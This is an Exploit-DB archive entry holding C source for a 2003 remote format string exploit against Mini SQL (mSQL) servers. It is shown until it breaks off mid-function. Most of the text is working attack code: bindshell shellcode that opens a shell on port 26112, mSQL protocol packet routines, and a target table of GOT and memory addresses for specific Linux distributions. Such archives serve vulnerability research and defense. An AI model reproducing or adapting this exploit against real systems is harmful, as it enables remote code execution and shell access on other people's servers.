Exploit-DB #22964
Description: Mini SQL 1.0/1.3 - Remote Format String
Type: remote
Platform: unix
Date: 2003-07-28
Author: lucipher

Exploit:
// source: https://www.securityfocus.com/bid/8295/info

Mini SQL (mSQL) has been reported prone to a remotely exploitable format string vulnerability, when handling user-supplied data.

Reportedly a remote attacker may send malicious format specifiers to trigger the issue. This vulnerability could permit a remote attacker to corrupt arbitrary locations in memory with attacker-supplied data, potentially allowing for execution of arbitrary code.

/* _ ________ _____ ______
 __ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
 _/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
 ___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
  - -------\______||--._____\---._______//-|__ //-.___|----._____||
   / \ /
     \/
[*] mSQL < remote gid root exploit
 by lucipher & The Itch (www.netric.org|be)

------------------------------------------------------------------------------

[*] Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

 Copyright (c) 2003 Netric Security and lucipher
 All rights reserved.

 THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h> /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h> /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h> /* required by errno */
#include <getopt.h> /* required by getopt() */
#include <signal.h>

#define PKT_LEN (128*1024)
#define ERR_BUF_LEN 200
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
    if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l) read(fd,b,l)
#define NET_WRITE(fd,b,l) write(fd,b,l)

#define SERVER_GONE_ERROR "server has gone...\n"
#define UNKNOWN_ERROR "foo!"

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
  "\x31\xdb\xf7\xe3\x53\x43\x53"
  "\x6a\x02\x89\xe1\xb0\x66\x52"
  "\x50\xcd\x80\x43\x66\x53\x89"
  "\xe1\x6a\x10\x51\x50\x89\xe1"
  "\x52\x50\xb0\x66\xcd\x80\x89"
  "\xe1\xb3\x04\xb0\x66\xcd\x80"
  "\x43\xb0\x66\xcd\x80\x89\xd9"
  "\x93\xb0\x3f\xcd\x80\x49\x79"
  "\xf9\x52\x68\x6e\x2f\x73\x68"
  "\x68\x2f\x2f\x62\x69\x89\xe3"
  "\x52\x53\x89\xe1\xb0\x0b\xcd"
  "\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
  *cp++ = (unsigned int) (val & 0x000000ff);
  *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
  *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
  *cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
  int val;

  val = 0;
  val = *cp++;
  val += ((int) *cp++) << 8;
  val += ((int) *cp++) << 16;
  val += ((int) *cp++) << 24;
  return (val);
}

int netWritePacket(fd)
int fd;
{
  int len, offset, remain, numBytes;

  len = strlen((char *) packet);
  intToBuf(packetBuf, len);
  offset = 0;
  remain = len + 4;
  while (remain > 0) {
  numBytes = NET_WRITE(fd, packetBuf + offset, remain);
  if (numBytes == -1) {
  return (-1);
  }
  offset += numBytes;
  remain -= numBytes;
  }
  return (0);
}

int netReadPacket(fd)
int fd;
{
  u_char buf[4];
  int len, remain, offset, numBytes;

  remain = 4;
  offset = 0;
  numBytes = 0;
  readTimeout = 0;
  while (remain > 0) {
  /*
   ** We can't just set an alarm here as on lots of boxes
   ** both read and recv are non-interuptable. So, we
   ** wait till there something to read before we start
   ** reading in the server (not the client)
   */
  if (!readTimeout) {
  numBytes = NET_READ(fd, buf + offset, remain);
  if (numBytes < 0 && errno != EINTR) {
    fprintf(stderr,
    "Socket read on %d for length failed : ",
    fd);

    perror("");
  }
  if (numBytes <= 0)
    return (-1);
  }
  if (readTimeout)
  break;
  remain -= numBytes;
  offset += numBytes;

  }
  len = bufToInt(buf);
  if (len > PKT_LEN) {
  fprintf(stderr, "Packet too large (%d)\n", len);
  return (-1);
  }
  if (len < 0) {
  fprintf(stderr, "Malformed packet\n");
  return (-1);
  }
  remain = len;
  offset = 0;
  while (remain > 0) {
  numBytes = NET_READ(fd, packet + offset, remain);

  if (numBytes <= 0) {
  return (-1);
  }
  remain -= numBytes;
  offset += numBytes;
  }
  *(packet + len) = 0;
  return (len);
}

int msqlSelectDB(int sock, char *db)
{
  memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

  packet = packetBuf+4;

  snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
  netWritePacket(sock);
  if (netReadPacket(sock) <= 0) {
  strcpy(msqlErrMsg, SERVER_GONE_ERROR);
  return (-1);
  }
  if (atoi(packet) == -1) {
  char *cp;

  cp = (char *) index(packet, ':');
  if (cp) {
  strcpy(msqlErrMsg, cp + 1);
  chopError();
  } else {
  strcpy(msqlErrMsg, UNKNOWN_ERROR);
  }
  return (-1);
  }

  return (0);
}

struct target {
 char *name; /* target description */
 unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
 unsigned long smashaddr; /* strcpy's GOT address */
 unsigned long pops; /* number of stack pops */
};

/* high and low words indexers */
enum { hi, lo };

/* default values. */
struct target targets[] = {
 /* name write smash pops */
 { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
 { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
 { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
 { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
 { NULL, 0x0, 0x0, 0 }
};

void fatal